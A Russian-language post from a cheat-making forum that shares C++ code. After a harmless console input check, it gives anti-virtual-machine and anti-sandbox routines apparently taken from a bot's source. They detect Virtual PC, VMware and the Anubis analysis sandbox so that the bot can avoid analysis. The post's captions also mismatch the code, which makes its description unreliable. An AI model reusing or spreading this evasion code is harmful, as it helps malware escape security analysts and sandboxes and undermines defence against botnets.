[C++] Anti-VMWare - Форум Cheat-Master.ru
  • Страница 1 из 1
  • 1
Модератор форума: Sanoxxx, Alowir  
[C++] Anti-VMWare
[CM]MORTY Дата: Воскресенье, 29.10.2017, 11:36 | Сообщение # 1
Боец
Сообщений: 60
Статус: Offline
Маленький код, который позволяет консоли не принимать отправленные буквы в неё, а только цифры
Код
while (true)
{
if (cin.good())
{
cin.ignore(10, '\n');
break;
}
cin.clear();
cout « "Неправильный ввод! " « endl;
cin.ignore(10, '\n');
}

[C++] Код не позволяющий консоли принимать буквы
Думаю в комментариях не нуждается
Код
#include "../Headers/includes.h"
#include "../Headers/functions.h"

#ifndef NO_ANTIVM

DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
{
PCONTEXT ctx = ep->ContextRecord;
ctx->Ebx = -1; // Not running VPC
ctx->Eip += 4; // skip past the "call VPC" opcodes
return EXCEPTION_CONTINUE_EXECUTION;
}

bool DetectVPC()
{
bool bVPCIsPresent = FALSE;

__try
{
_asm push ebx
_asm mov ebx, 0 // It will stay ZERO if VPC is running
_asm mov eax, 1 // VPC function number
_asm __emit 0Fh
_asm __emit 3Fh
_asm __emit 07h
_asm __emit 0Bh
_asm test ebx, ebx
_asm setz [bVPCIsPresent]
_asm pop ebx
}

__except(IsInsideVPC_exceptionFilter(GetExceptionI nformation()))
{
}

#ifdef DEBUG
if (bVPCIsPresent==TRUE)
DebugMsg("Bot is under VPC !");
else
DebugMsg("Bot is not running under VPC !");
#endif

return bVPCIsPresent;
}

bool DetectVMWare()
{
bool bVMWareIsPresent = TRUE;
__try
{
__asm
{
push edx
push ecx
push ebx

mov eax, 'VMXh'
mov ebx, 0 // any value but not the MAGIC VALUE
mov ecx, 10 // get VMWare version
mov edx, 'VX' // port number

in eax, dx // read port
// on return EAX returns the VERSION
cmp ebx, 'VMXh' // is it a reply from VMWare?
setz [bVMWareIsPresent] // set return value

pop ebx
pop ecx
pop edx
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
bVMWareIsPresent = FALSE;
}

#ifdef DEBUG
if (bVMWareIsPresent==TRUE)
DebugMsg("Bot is under VMWare !");
else
DebugMsg("Bot is not running under VMWare !");
#endif

return bVMWareIsPresent;
}

bool DetectAnubis()
{
char szBotFile[MAX_PATH];
bool bAnubisIsPresent = FALSE;

if (strstr(szBotFile, "C:\\InsideTm\\"))
bAnubisIsPresent = TRUE;

#ifdef DEBUG
if (bAnubisIsPresent==TRUE)
DebugMsg("Bot is running under Anubis !");
else
DebugMsg("Bot is not running under Anubis !");
#endif

return bAnubisIsPresent;
}

bool IsProcessRunningUnderVM()
{
bool bVMWare;
bool bVPC;
bool bAnubis;

bVMWare = DetectVMWare();
bVPC = DetectVPC();
bAnubis = DetectAnubis();

if (bVPC==TRUE || bVMWare==TRUE || bAnubis==TRUE)
return TRUE;

return FALSE;
}
#endif



» Как занять пост лидера на сервере
» [Урок] Создание фейк текста SAMP UDF
» Upload файла по HTTP протоколу
» Раздача аккаунтов Evolve/DRP/ARZ
» Ставим GIFку на раб.стол
» [C++] Anti-VMWare
» [C#] Проверка соединения с интернетом
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Лучшие пользователи
Admin [39113]

GеNius [7210]

[CM]Russel [5557]

kenlo763 [4952]

[CM]AGRESSOR [4639]

Snake_Firm [4452]

Сэс [4416]

Artem_Buero [4223]

[CM]Durman [3204]

[CM]Рафаэль [3080]

iMaddy [2855]

sky_Woker [2854]

getrekt [2745]

Новые пользователи
aprilez9 [15:57]

am9350450 [14:36]

dcvfre [11:04]

Sheroz [10:38]

dominiquevp60 [08:59]

derrickuy11 [05:48]

leannaaw60 [04:45]

nonaxn11 [23:52]

arbuzikkks [17:38]

gwendolyngd2 [16:08]

Drywallwje [11:38]

TronAccs [05:11]

danilka05cher [03:05]